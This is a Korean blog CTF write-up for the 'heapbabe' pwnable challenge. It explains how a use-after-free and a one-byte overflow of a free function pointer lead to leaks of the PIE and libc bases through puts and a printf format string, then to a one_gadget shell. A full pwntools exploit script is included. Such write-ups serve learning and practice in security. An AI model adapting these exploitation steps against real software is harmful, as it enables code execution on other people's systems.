티스토리 뷰
Summary
- 1byte overflow
- UAF로 풀었는데 dup으로 풀 수 있을듯.
Analysis
puts("[A]llocate Buffer");
puts("[F]ree Buffer");
puts("[B]anner");
puts("[E]xit");
return printf(">> ");
기능은 크게 2개로 나뉜다.
-
Allocate
-
chunk1(32) 할당.
-
buffer에 입력을 받고 len(buffer)만큼 chunk2(mysize) 할당. ( len(buffer)가 16 이상일 경우, 길이가 16 미만이라면 chunk2를 할당하지 않고 chunk1에 기록.)
input_buf_len <= 15 : struct chunk1 { char str[16]; int buf_len; int *ptr = onefree; } input_buf_len > 15: struct chunk1 { int *chunk2 = malloc(buf_len); int dummy; int buf_len; int *ptr = twofree; }
그리고 ptr함수 포인터에 free하는 함수를 넣어줌. (twofree는 chunk1, 2 둘다 free)
-
-
Free
- ptr 함수 포인터를 호출해서 chunk free.
- 함수포인터를 내가 원하는 위치로 바꾸면 call가능함.
Exploit
UAF를 통해 ptr함수를 덮을 수 있음.
pie가 걸려있기 때문에 ptr함수를 1byte overflow
해서 call puts
주소로 jumping.
-> codebase leak.
그렇게 codebase를 구했으니 printf로 다시 덮어주고 청크 앞부분에 %p %p %p %p
이용하면 fsb가 가능하다.
그렇게 rsp에 있는 libc leak해서 ptr 원샷으로 덮어주면 된다.
fsb유발하는 트릭을 생각치 못해서 아!했다. ㅠㅠ
from pwn import *
s = process("./heapbabe")
e = ELF("./heapbabe")
def Alloc(size, contents):
s.sendlineafter(">> ", "A")
s.sendlineafter(": ", str(size))
s.sendafter(": ", contents)
def Free(idx):
s.sendlineafter(">> ", "F")
s.sendlineafter(": ", str(idx))
s.sendlineafter(": ", "DELETE")
Alloc(24, "A"*23)
Alloc(24, "A"*23)
Free(1)
Free(0)
Alloc(32, "C"*24 + "\xAA")
Free(1)
s.recvuntil("C"*24)
pie_base = u64(s.recv(6)+"\x00\x00") - 0xcaa
printf = pie_base + e.plt['printf']
print(hex(pie_base))
Free(1)
Free(0)
Alloc(32, "%11$p"+"A"*19 + p64(printf))
Free(1)
libc_base = int(s.recv(14), 16) - 0x3c56a3
magic = libc_base + 0x4526a
print(hex(libc_base))
Free(1)
Free(0)
Alloc(32, "A"*24 + p64(magic))
s.sendlineafter(">> ", "F")
s.sendlineafter(": ", str(1))
s.sendlineafter(": ", "DELETE"+"\x00"*0x80)
s.interactive()
'pwnable > CTF write-up' 카테고리의 다른 글
[pwnpwnpwn-16] christmas 2016 who_is_solo (1) | 2020.01.30 |
---|---|
[pwnpwnpwn-15] codegate 2019 aeiou (0) | 2020.01.28 |
[pwnpwnpwn-13] codegate 2019 god-the-reum (0) | 2020.01.26 |
[pwnpwnpwn-12] codegate 2018 Super Marimo (0) | 2020.01.24 |
[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore (0) | 2020.01.08 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- pwable
- heap
- fsop
- glibc
- 해킹
- SQLi
- TLS
- overflow
- pwnable.tw
- tcache
- fastbin
- stack reusing
- FSB
- pwnable
- oob
- hacking
- 본선가고싶다
- fastbindup
- exit
- srop
- HackCTF
- rt_sigreturn
- ebp change
- codegate
- shellcoding
- Total
- Today
- Yesterday